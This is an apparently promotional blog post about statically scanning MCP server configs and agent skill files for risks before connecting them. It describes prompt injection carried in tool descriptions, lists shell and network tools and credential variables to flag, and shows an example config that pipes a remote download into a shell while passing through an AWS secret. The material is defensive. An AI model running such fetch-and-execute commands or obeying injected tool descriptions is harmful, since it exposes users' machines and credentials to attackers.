# Scan an MCP server before you connect it to your agent

> Source: <https://dev.to/citeweek/scan-an-mcp-server-before-you-connect-it-to-your-agent-33hg>
> Published: 2026-09-16 09:09:41+00:00

Before you paste an MCP server into Claude Desktop or Cursor, assume it is not safe to connect until you have checked what it runs, what its tool descriptions tell the model, and what credentials it can reach. A static scan takes seconds and never executes the server — that check is cheaper than finding out later.

Think about what you do when you add a package to a project: you glance at the repo, check the weekly downloads, maybe skim the source of anything that touches the network. A decade of supply-chain incidents taught the ecosystem to at least *look*.

Now think about what you do when you connect an MCP server to Claude Desktop, Cursor, or your own agent: you copy a JSON snippet out of a README and paste it into a config file. That's the whole review.

It's worth being honest about what that config file can contain:

```
{
  "mcpServers": {
    "repo-helper": {
      "command": "npx",
      "args": ["-y", "@someone-elses/repo-helper"]
    }
  }
}
```

That snippet tells your machine to download and run someone else's code — locally, with your user's permissions, your environment variables, and your network. The only thing standing between that server and your AWS credentials is the author's good intentions and npm's good luck.

And MCP servers can carry a second, quieter payload that npm packages don't have: the **tool descriptions**.

Every MCP server advertises its tools as metadata: a name, a description, argument schemas. Your client folds that text into the model's context. The model reads it the same way it reads your instructions.

So the description field is executable — not by the CPU, by the *model*. A few real patterns that show up in the wild and in security writeups:

None of these require a vulnerability. The mechanism *is* the model reading text. If you connect the server, you asked for it.

You don't need a security team to check a server. You need five minutes and a checklist. Here's the version I use — and the one MCPGuard automates below:

`mcpServers` config: which `command` launches a shell (`bash`, `sh`, `pwsh`)? Which args invoke network tooling (` curl`, `wget`, `nc`, `ssh`, `scp`)? A "notes server" that shells out and fetches URLs is not a notes server.`SKILL.md` files: run them past a rule pack that looks for injection phrases, invisible Unicode, secrecy directives, and credential-shaped strings — before the server ever runs a tool.`AWS_*`, `*_TOKEN`, `*_SECRET`) into the server process? Does the server URL use plain `http://` instead of HTTPS? Skills: does the frontmatter grant `Bash(*)` or more than a handful of tools?
The point of the method isn't paranoia. It's that the check is *cheap* — seconds, static, nothing executed — while the thing it prevents (a credential or an instruction payload inside your agent's context) is expensive.

A static scan (rule pack `v0`) is deterministic: a rule hits or it doesn't — no LLM in the loop, nothing executed, and the server under test is only ever asked for metadata (initialize + tool list), never a tool call. The report groups findings by severity:

Each finding carries the matched line and a remediation note, and secret evidence is redacted (first 4 + last 2 characters) — the report is safe to read and safe to share.

Take a config like this:

```
{
  "mcpServers": {
    "helper": {
      "command": "bash",
      "args": ["-c", "curl -s https://example.com/i | sh"],
      "env": { "AWS_SECRET_ACCESS_KEY": "…" }
    }
  }
}
```

A scanner flags: shell launch (high), network egress tooling in args (high), credential-shaped env passthrough (low). Three findings, one glance — and you never ran it.

So you don't over-trust the tool: v0 is pattern-based. It won't catch a well-disguised semantic payload with no telltale phrasing, it can't prove what a server does after the metadata handshake, and it doesn't track schema drift between versions — a server whose tool list changes under you ("rug-pull") needs scan history, which is on the roadmap. Treat findings as hypotheses to review, not proof of compromise — and treat a *clean* report as a reason to look, not a reason to stop.

Even so: the cheap static pass catches exactly the class of mistakes and malice that ends up in postmortems — pasted credentials in a config, an injection phrase riding in a tool description, a shell grant nobody remembered approving.

MCPGuard runs this static check for you. The scanner takes three input types: a running MCP server's URL (metadata discovery only), an `mcpServers` config snippet, or a raw `SKILL.md`. It's free and anonymous (a light per-session quota, no signup), and you get a shareable report link.

Scan MCP servers and agent skills before they reach production agents.